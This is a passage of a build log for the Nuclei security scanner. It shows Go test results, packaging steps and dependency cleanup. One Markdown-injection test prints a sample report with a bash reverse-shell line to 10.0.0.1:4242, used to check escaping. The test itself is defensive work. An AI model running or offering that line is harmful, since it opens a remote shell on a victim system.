TestReadResponseFromString/response-http2-with-minor-version === RUN TestReadResponseFromString/request-response === RUN TestReadResponseFromString/request-response-without-minor-version === RUN TestReadResponseFromString/test-live-response-with-content-length --- PASS: TestReadResponseFromString (0.00s) --- PASS: TestReadResponseFromString/response (0.00s) --- PASS: TestReadResponseFromString/response-http2-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/response-http2-with-minor-version (0.00s) --- PASS: TestReadResponseFromString/request-response (0.00s) --- PASS: TestReadResponseFromString/request-response-without-minor-version (0.00s) --- PASS: TestReadResponseFromString/test-live-response-with-content-length (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/offlinehttp (cached) === RUN TestSSLProtocol --- PASS: TestSSLProtocol (0.83s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/ssl (cached) === RUN TestCalculateContentLength === RUN TestCalculateContentLength/content-length-header === RUN TestCalculateContentLength/content-length-header-with-body-length === RUN TestCalculateContentLength/no-content-length-header-with-body-length === RUN TestCalculateContentLength/content-length-header-without-body-length --- PASS: TestCalculateContentLength (0.00s) --- PASS: TestCalculateContentLength/content-length-header (0.00s) --- PASS: TestCalculateContentLength/content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/no-content-length-header-with-body-length (0.00s) --- PASS: TestCalculateContentLength/content-length-header-without-body-length (0.00s) === RUN TestHTTPVariables --- PASS: TestHTTPVariables (0.00s) === RUN TestGenerateDNSVariables --- PASS: TestGenerateDNSVariables (0.00s) === RUN TestGenerateVariablesForDNS --- PASS: TestGenerateVariablesForDNS (0.00s) === RUN TestGenerateVariablesForTCP --- PASS: TestGenerateVariablesForTCP (0.00s) === RUN TestGenerateWhoISVariables --- PASS: TestGenerateWhoISVariables (0.00s) === RUN TestGetWebsocketVariables --- PASS: TestGetWebsocketVariables (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils (cached) === RUN TestTrailingSlash --- PASS: TestTrailingSlash (0.00s) === RUN TestPortUpdate --- PASS: TestPortUpdate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils/http (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/websocket [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/whois/rdapclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting [no test files] === RUN TestDedupeDuplicates --- PASS: TestDedupeDuplicates (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown [no test files] === RUN TestMarkDownHeaderCreation === RUN TestMarkDownHeaderCreation/#00 === RUN TestMarkDownHeaderCreation/#01 === RUN TestMarkDownHeaderCreation/one === RUN TestMarkDownHeaderCreation/one,two === RUN TestMarkDownHeaderCreation/one,two,three --- PASS: TestMarkDownHeaderCreation (0.00s) --- PASS: TestMarkDownHeaderCreation/#00 (0.00s) --- PASS: TestMarkDownHeaderCreation/#01 (0.00s) --- PASS: TestMarkDownHeaderCreation/one (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two (0.00s) --- PASS: TestMarkDownHeaderCreation/one,two,three (0.00s) === RUN TestCreateTemplateInfoTableTooManyColumns --- PASS: TestCreateTemplateInfoTableTooManyColumns (0.00s) === RUN TestCreateTemplateInfoTable1Column --- PASS: TestCreateTemplateInfoTable1Column (0.00s) === RUN TestCreateTemplateInfoTable2Columns --- PASS: TestCreateTemplateInfoTable2Columns (0.00s) === RUN TestCreateTemplateInfoTable3Columns --- PASS: TestCreateTemplateInfoTable3Columns (0.00s) === RUN TestEscapeCodeBlockMarkdown === RUN TestEscapeCodeBlockMarkdown/no_special_characters === RUN TestEscapeCodeBlockMarkdown/with_backticks === RUN TestEscapeCodeBlockMarkdown/with_backslashes === RUN TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes === RUN TestEscapeCodeBlockMarkdown/with_code_block === RUN TestEscapeCodeBlockMarkdown/with_escaped_backtick === RUN TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks --- PASS: TestEscapeCodeBlockMarkdown (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/no_special_characters (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backticks (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_both_backticks_and_backslashes (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_code_block (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_escaped_backtick (0.00s) --- PASS: TestEscapeCodeBlockMarkdown/with_multiple_consecutive_backticks (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk [no test files] === RUN TestToMarkdownTableString --- PASS: TestToMarkdownTableString (0.00s) === RUN TestCreateReportDescription_MarkdownInjection **Details**: **test-template** matched at example.com **Protocol**: HTTP **Full URL**: https://example.com/vulnerable **Timestamp**: Mon Jan 1 00:00:00 +0000 UTC 0001 **Template Information** | Key | Value | | --- | --- | | Name | Test Template | | Authors | researcher | | Tags | test | | Severity | high | **Request** ```http GET / HTTP/1.1 Host: example.com ``` **Response** ```http HTTP/1.1 200 OK Content-Type: text/html Hello, world \`\`\` References: - https://rce.ee/pwned **CURL command** \`\`\`sh bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 \`\`\` ``` **CURL command** ```sh curl -X GET https://example.com ``` ---- Generated by [Nuclei v3.4.5](https://github.com/projectdiscovery/nuclei) --- PASS: TestCreateReportDescription_MarkdownInjection (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/format (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab [no test files] === RUN TestLinkCreation --- PASS: TestLinkCreation (0.00s) === RUN TestHorizontalLineCreation --- PASS: TestHorizontalLineCreation (0.00s) === RUN TestTableCreation --- PASS: TestTableCreation (0.00s) === RUN Test_ShouldFilter_Tracker === RUN Test_ShouldFilter_Tracker/deny-list --- PASS: Test_ShouldFilter_Tracker (0.00s) --- PASS: Test_ShouldFilter_Tracker/deny-list (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear/jsonutil [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/charts [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/scan/events [no test files] === RUN TestCache --- PASS: TestCache (0.00s) === RUN TestClusterTemplates === RUN TestClusterTemplates/http-cluster-get === RUN TestClusterTemplates/no-http-cluster === RUN TestClusterTemplates/dns-cluster --- PASS: TestClusterTemplates (0.00s) --- PASS: TestClusterTemplates/http-cluster-get (0.00s) --- PASS: TestClusterTemplates/no-http-cluster (0.00s) --- PASS: TestClusterTemplates/dns-cluster (0.00s) === RUN Test_appendAtSignToAuthors --- PASS: Test_appendAtSignToAuthors (0.00s) === RUN Test_appendAtSignToMissingAuthors --- PASS: Test_appendAtSignToMissingAuthors (0.00s) === RUN Test_appendAtSignToOneAuthor --- PASS: Test_appendAtSignToOneAuthor (0.00s) === RUN TestLoadTemplate === RUN TestLoadTemplate/valid === RUN TestLoadTemplate/emptyTemplate === RUN TestLoadTemplate/emptyNameWithInvalidID === RUN TestLoadTemplate/emptySeverity === RUN TestLoadTemplate/template-without-severity-with-correct-filter-id === RUN TestLoadTemplate/template-without-severity-with-diff-filter-id === RUN TestLoadTemplate/invalidTemplateID === RUN TestLoadTemplate/invalidTemplateID/regexp0 === RUN TestLoadTemplate/invalidTemplateID/regexp1 === RUN TestLoadTemplate/invalidTemplateID/regexp2 === RUN TestLoadTemplate/invalidTemplateID/regexp3 === RUN TestLoadTemplate/invalidTemplateID/regexp4 === RUN TestLoadTemplate/invalidTemplateID/regexp5 === RUN TestLoadTemplate/invalidTemplateID/regexp6 === RUN TestLoadTemplate/invalidTemplateID/regexp7 === RUN TestLoadTemplate/invalidTemplateID/regexp8 === RUN TestLoadTemplate/invalidTemplateID/regexp9 === RUN TestLoadTemplate/invalidTemplateID/regexp10 --- PASS: TestLoadTemplate (0.00s) --- PASS: TestLoadTemplate/valid (0.00s) --- PASS: TestLoadTemplate/emptyTemplate (0.00s) --- PASS: TestLoadTemplate/emptyNameWithInvalidID (0.00s) --- PASS: TestLoadTemplate/emptySeverity (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-correct-filter-id (0.00s) --- PASS: TestLoadTemplate/template-without-severity-with-diff-filter-id (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp0 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp1 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp2 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp3 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp4 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp5 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp6 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp7 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp8 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp9 (0.00s) --- PASS: TestLoadTemplate/invalidTemplateID/regexp10 (0.00s) === RUN TestTagBasedFilter === RUN TestTagBasedFilter/true === RUN TestTagBasedFilter/false === RUN TestTagBasedFilter/match-extra-tags-positive === RUN TestTagBasedFilter/match-extra-tags-negative === RUN TestTagBasedFilter/not-match-excludes === RUN TestTagBasedFilter/match-includes === RUN TestTagBasedFilter/match-includes#01 === RUN TestTagBasedFilter/match-author === RUN TestTagBasedFilter/match-severity === RUN TestTagBasedFilter/match-id === RUN TestTagBasedFilter/match-exclude-severity === RUN TestTagBasedFilter/match-exclude-with-tags === RUN TestTagBasedFilter/match-conditions === RUN TestTagBasedFilter/match-type === RUN TestTagBasedFilter/match-exclude-id === RUN TestTagBasedFilter/match-exclude-type === RUN TestTagBasedFilter/advanced-filtering-positive === RUN TestTagBasedFilter/advanced-filtering-negative === RUN TestTagBasedFilter/template-condition --- PASS: TestTagBasedFilter (0.00s) --- PASS: TestTagBasedFilter/true (0.00s) --- PASS: TestTagBasedFilter/false (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-positive (0.00s) --- PASS: TestTagBasedFilter/match-extra-tags-negative (0.00s) --- PASS: TestTagBasedFilter/not-match-excludes (0.00s) --- PASS: TestTagBasedFilter/match-includes (0.00s) --- PASS: TestTagBasedFilter/match-includes#01 (0.00s) --- PASS: TestTagBasedFilter/match-author (0.00s) --- PASS: TestTagBasedFilter/match-severity (0.00s) --- PASS: TestTagBasedFilter/match-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-severity (0.00s) --- PASS: TestTagBasedFilter/match-exclude-with-tags (0.00s) --- PASS: TestTagBasedFilter/match-conditions (0.00s) --- PASS: TestTagBasedFilter/match-type (0.00s) --- PASS: TestTagBasedFilter/match-exclude-id (0.00s) --- PASS: TestTagBasedFilter/match-exclude-type (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-positive (0.00s) --- PASS: TestTagBasedFilter/advanced-filtering-negative (0.00s) --- PASS: TestTagBasedFilter/template-condition (0.00s) === RUN TestTemplateStruct --- PASS: TestTemplateStruct (0.05s) === RUN Test_ParseFromURL --- PASS: Test_ParseFromURL (0.40s) === RUN Test_ParseFromFile --- PASS: Test_ParseFromFile (0.00s) === RUN Test_ParseWorkflow --- PASS: Test_ParseWorkflow (0.00s) === RUN Test_WrongTemplate --- PASS: Test_WrongTemplate (0.00s) === RUN TestWrongWorkflow --- PASS: TestWrongWorkflow (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions [no test files] === RUN TestKeyHandler --- PASS: TestKeyHandler (1.08s) === RUN TestTemplateSignerSignAndVerify === RUN TestTemplateSignerSignAndVerify/Simple_template === RUN TestTemplateSignerSignAndVerify/Template_with_imports === RUN TestTemplateSignerSignAndVerify/Template_with_code_protocol === RUN TestTemplateSignerSignAndVerify/Tampered_template === RUN TestTemplateSignerSignAndVerify/Invalid_signature --- PASS: TestTemplateSignerSignAndVerify (0.01s) --- PASS: TestTemplateSignerSignAndVerify/Simple_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_imports (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Template_with_code_protocol (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Tampered_template (0.00s) --- PASS: TestTemplateSignerSignAndVerify/Invalid_signature (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/templates/signer (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/templates/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/fuzzplayground [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/testutils/testheadless [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec [no test files] === RUN TestFlowTemplateWithIndex --- PASS: TestFlowTemplateWithIndex (0.37s) === RUN TestFlowTemplateWithID --- PASS: TestFlowTemplateWithID (0.04s) === RUN TestFlowWithProtoPrefix --- PASS: TestFlowWithProtoPrefix (0.04s) === RUN TestFlowWithConditionNegative --- PASS: TestFlowWithConditionNegative (0.07s) === RUN TestFlowWithConditionPositive --- PASS: TestFlowWithConditionPositive (0.09s) === RUN TestFlowWithNoMatchers === RUN TestFlowWithNoMatchers/Contains_Extractor --- PASS: TestFlowWithNoMatchers (1.02s) --- PASS: TestFlowWithNoMatchers/Contains_Extractor (0.89s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/flow/builtin [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/generic [no test files] === RUN TestMultiProtoWithDynamicExtractor --- PASS: TestMultiProtoWithDynamicExtractor (0.42s) === RUN TestMultiProtoWithProtoPrefix --- PASS: TestMultiProtoWithProtoPrefix (0.84s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/multiproto (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/tmplexec/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/nucleierr [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy [no test files] === RUN TestUnmarshalInsertionOrderedMapYAML --- PASS: TestUnmarshalInsertionOrderedMapYAML (0.00s) === RUN TestUnwrapError --- PASS: TestUnwrapError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/utils/expand [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/json [no test files] === RUN TestMonitorCompareStringSliceEqual --- PASS: TestMonitorCompareStringSliceEqual (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/utils/stats [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/utils/yaml [no test files] === RUN TestWorkflowMatchAndCompile === RUN TestWorkflowMatchAndCompile/name === RUN TestWorkflowMatchAndCompile/name-negative === RUN TestWorkflowMatchAndCompile/names-or === RUN TestWorkflowMatchAndCompile/names-and --- PASS: TestWorkflowMatchAndCompile (0.00s) --- PASS: TestWorkflowMatchAndCompile/name (0.00s) --- PASS: TestWorkflowMatchAndCompile/name-negative (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-or (0.00s) --- PASS: TestWorkflowMatchAndCompile/names-and (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/workflows (cached) >>> nuclei: Entering fakeroot... >>> nuclei-doc*: Running split function doc... 'usr/share/licenses' -> '/home/buildozer/aports/testing/nuclei/pkg/nuclei-doc/usr/share/licenses' >>> nuclei-doc*: Preparing subpackage nuclei-doc... >>> nuclei-doc*: Running postcheck for nuclei-doc >>> nuclei*: Running postcheck for nuclei >>> nuclei*: Preparing package nuclei... >>> nuclei*: Stripping binaries >>> nuclei-doc*: Scanning shared objects >>> nuclei*: Scanning shared objects >>> nuclei-doc*: Tracing dependencies... >>> nuclei-doc*: Package size: 1.1 KB >>> nuclei-doc*: Compressing data... >>> nuclei-doc*: Create checksum... >>> nuclei-doc*: Create nuclei-doc-3.4.5-r0.apk >>> nuclei*: Tracing dependencies... >>> nuclei*: Package size: 86.4 MB >>> nuclei*: Compressing data... >>> nuclei*: Create checksum... >>> nuclei*: Create nuclei-3.4.5-r0.apk >>> nuclei: Build complete at Sat, 21 Jun 2025 19:46:29 +0000 elapsed time 0h 1m 50s >>> nuclei: Cleaning up srcdir >>> nuclei: Cleaning up pkgdir >>> nuclei: Uninstalling dependencies... (1/168) Purging .makedepends-nuclei (20250621.194441) (2/168) Purging go (1.24.4-r0) (3/168) Purging chromium (137.0.7151.103-r0) (4/168) Purging font-opensans (0_git20210927-r1) (5/168) Purging mkfontscale (1.2.3-r1) (6/168) Purging gtk+3.0 (3.24.49-r2) Executing gtk+3.0-3.24.49-r2.post-deinstall (7/168) Purging gobject-introspection (1.84.0-r0) (8/168) Purging gtk-update-icon-cache (3.24.49-r2) (9/168) Purging hicolor-icon-theme (0.18-r0) (10/168) Purging icu-data-full (76.1-r0) (11/168) Purging mesa-dri-gallium (25.1.4-r0) (12/168) Purging xdg-utils (1.2.1-r1) (13/168) Purging xprop (1.2.8-r0) (14/168) Purging xset (1.2.5-r1) (15/168) Purging at-spi2-core (2.56.2-r0) (16/168) Purging cairo-gobject (1.18.4-r0) (17/168) Purging crc32c (1.1.2-r2) (18/168) Purging cups-libs (2.4.11-r0) (19/168) Purging double-conversion (3.3.1-r0) (20/168) Purging ffmpeg-libavformat (6.1.2-r4) (21/168) Purging gdk-pixbuf (2.42.12-r1) Executing gdk-pixbuf-2.42.12-r1.pre-deinstall (22/168) Purging shared-mime-info (2.4-r6) Executing shared-mime-info-2.4-r6.post-deinstall (23/168) Purging harfbuzz-subset (11.2.1-r0) (24/168) Purging libatk-bridge-2.0 (2.56.2-r0) (25/168) Purging libbluray (1.3.4-r1) (26/168) Purging libepoxy (1.5.10-r1) (27/168) Purging libfontenc (1.1.8-r0) (28/168) Purging libopenmpt (0.8.1-r0) (29/168) Purging libpulse (17.0-r5) (30/168) Purging librist (0.2.10-r1) (31/168) Purging libsrt (1.5.3-r1) (32/168) Purging libssh (0.11.1-r0) (33/168) Purging libwebpdemux (1.5.0-r0) (34/168) Purging libxcomposite (0.4.6-r5) (35/168) Purging libxcursor (1.2.3-r0) (36/168) Purging libxdamage (1.1.6-r5) (37/168) Purging libxinerama (1.1.5-r4) (38/168) Purging libxkbcommon (1.8.1-r2) (39/168) Purging xkeyboard-config (2.43-r0) (40/168) Purging libxmu (1.2.1-r0) (41/168) Purging libxrandr (1.5.4-r1) (42/168) Purging libxslt (1.1.43-r3) (43/168) Purging libxt (1.3.1-r0) (44/168) Purging libxtst (1.2.5-r0) (45/168) Purging libzmq (4.3.5-r2) (46/168) Purging mbedtls (3.6.3.1-r0) (47/168) Purging mesa-gbm (25.1.4-r0) (48/168) Purging mesa (25.1.4-r0) (49/168) Purging minizip (1.3.1-r0) (50/168) Purging nss (3.113-r0) (51/168) Purging openh264 (2.6.0-r0) (52/168) Purging orc (0.4.40-r1) (53/168) Purging pango (1.56.3-r0) Executing pango-1.56.3-r0.pre-deinstall (54/168) Purging pipewire-libs (1.4.5-r0) (55/168) Purging roc-toolkit-libs (0.4.0-r1) (56/168) Purging simdutf (7.2.1-r0) (57/168) Purging speexdsp (1.2.1-r2) (58/168) Purging spirv-tools (1.4.313.0-r0) (59/168) Purging sqlite-libs (3.50.1-r0) (60/168) Purging tdb-libs (1.4.12-r0) (61/168) Purging tiff (4.7.0-r0) (62/168) Purging wayland-libs-cursor (1.23.1-r3) (63/168) Purging wayland-libs-egl (1.23.1-r3) (64/168) Purging wayland-libs-server (1.23.1-r3) (65/168) Purging webrtc-audio-processing-2 (2.1-r0) (66/168) Purging abseil-cpp-strings (20240722.1-r1) (67/168) Purging abseil-cpp-strings-internal (20240722.1-r1) (68/168) Purging abseil-cpp-raw-logging-internal (20240722.1-r1) (69/168) Purging libsndfile (1.2.2-r2) (70/168) Purging alsa-lib (1.2.14-r0) (71/168) Purging ffmpeg-libavcodec (6.1.2-r4) (72/168) Purging aom-libs (3.12.1-r0) (73/168) Purging at-spi2-core-libs (2.56.2-r0) (74/168) Purging avahi-libs (0.8-r20) (75/168) Purging cairo (1.18.4-r0) (76/168) Purging dbus-libs (1.16.2-r1) (77/168) Purging libcamera-ipa (0.5.1-r0) (78/168) Purging libcamera (0.5.1-r0) (79/168) Purging eudev-libs (3.2.14-r5) (80/168) Purging ffmpeg-libswresample (6.1.2-r4) (81/168) Purging ffmpeg-libavutil (6.1.2-r4) (82/168) Purging libxft (2.3.8-r3) (83/168) Purging fontconfig (2.15.0-r3) (84/168) Purging harfbuzz (11.2.1-r0) (85/168) Purging freetype (2.13.3-r0) (86/168) Purging fribidi (1.0.16-r1) (87/168) Purging libjxl (0.10.3-r2) (88/168) Purging giflib (5.2.2-r1) (89/168) Purging libatk-1.0 (2.56.2-r0) (90/168) Purging glib (2.84.3-r0) (91/168) Purging gnutls (3.8.8-r0) (92/168) Purging graphite2 (1.3.14-r6) (93/168) Purging libva (2.22.0-r1) (94/168) Purging libdrm (2.4.125-r0) (95/168) Purging libpciaccess (0.18.1-r1) (96/168) Purging hwdata-pci (0.396-r0) (97/168) Purging openexr-libopenexr (3.3.2-r0) (98/168) Purging imath (3.1.12-r0) (99/168) Purging lame-libs (3.100-r5) (100/168) Purging lcms2 (2.16-r0) (101/168) Purging libasyncns (0.8-r4) (102/168) Purging libmount (2.41-r9) (103/168) Purging libblkid (2.41-r9) (104/168) Purging libxi (1.8.2-r0) (105/168) Purging libvdpau (1.5-r4) (106/168) Purging libxext (1.3.6-r2) (107/168) Purging libxrender (0.9.12-r0) (108/168) Purging libxfixes (6.0.1-r4) (109/168) Purging libx11 (1.8.11-r0) (110/168) Purging libxcb (1.17.0-r0) (111/168) Purging libxdmcp (1.1.5-r1) (112/168) Purging libbsd (0.12.2-r0) (113/168) Purging libbz2 (1.0.8-r6) (114/168) Purging libdav1d (1.5.1-r0) (115/168) Purging openexr-libopenexrcore (3.3.2-r0) (116/168) Purging libdeflate (1.24-r0) (117/168) Purging libeconf (0.7.9-r0) (118/168) Purging libelf (0.193-r0) (119/168) Purging llvm20-libs (20.1.7-r0) (120/168) Purging wayland-libs-client (1.23.1-r3) (121/168) Purging p11-kit (0.25.5-r2) (122/168) Purging libffi (3.5.1-r0) (123/168) Purging libflac (1.4.3-r1) (124/168) Purging libhwy (1.0.7-r1) (125/168) Purging libsm (1.2.5-r0) (126/168) Purging libice (1.1.2-r0) (127/168) Purging libintl (0.24.1-r0) (128/168) Purging libjpeg-turbo (3.1.1-r0) (129/168) Purging libltdl (2.5.4-r1) (130/168) Purging libmd (1.1.0-r0) (131/168) Purging libtheora (1.1.1-r18) (132/168) Purging libvorbis (1.3.7-r2) (133/168) Purging libogg (1.3.5-r5) (134/168) Purging libpng (1.6.49-r0) (135/168) Purging libwebpmux (1.5.0-r0) (136/168) Purging libwebp (1.5.0-r0) (137/168) Purging libsharpyuv (1.5.0-r0) (138/168) Purging libsodium (1.0.20-r0) (139/168) Purging libSvtAv1Enc (2.3.0-r0) (140/168) Purging libtasn1 (4.20.0-r0) (141/168) Purging libunwind (1.8.1-r0) (142/168) Purging libuuid (2.41-r9) (143/168) Purging libuv (1.51.0-r0) (144/168) Purging libvpx (1.15.1-r1) (145/168) Purging libxau (1.0.12-r0) (146/168) Purging libxml2 (2.13.8-r0) (147/168) Purging libxshmfence (1.3.3-r0) (148/168) Purging lilv-libs (0.24.26-r0) (149/168) Purging mpg123-libs (1.32.10-r0) (150/168) Purging nettle (3.10.1-r0) (151/168) Purging nspr (4.36-r0) (152/168) Purging x265-libs (3.6-r0) (153/168) Purging numactl (2.0.18-r0) (154/168) Purging onevpl-libs (2023.3.1-r2) (155/168) Purging openexr-libilmthread (3.3.2-r0) (156/168) Purging openexr-libiex (3.3.2-r0) (157/168) Purging opus (1.5.2-r1) (158/168) Purging pixman (0.46.2-r0) (159/168) Purging rav1e-libs (0.8.0-r0) (160/168) Purging sratom (0.6.18-r0) (161/168) Purging sord-libs (0.16.18-r0) (162/168) Purging serd-libs (0.32.4-r0) (163/168) Purging soxr (0.1.3-r7) (164/168) Purging x264-libs (0.164.3108-r0) (165/168) Purging xvidcore (1.3.7-r2) (166/168) Purging xz-libs (5.8.1-r0) (167/168) Purging yaml (0.2.5-r2) (168/168) Purging zix-libs (0.6.2-r0) Executing busybox-1.37.0-r18.trigger OK: 400 MiB in 106 packages >>> nuclei: Updating the testing/x86_64 repository index... >>> nuclei: Signing the index...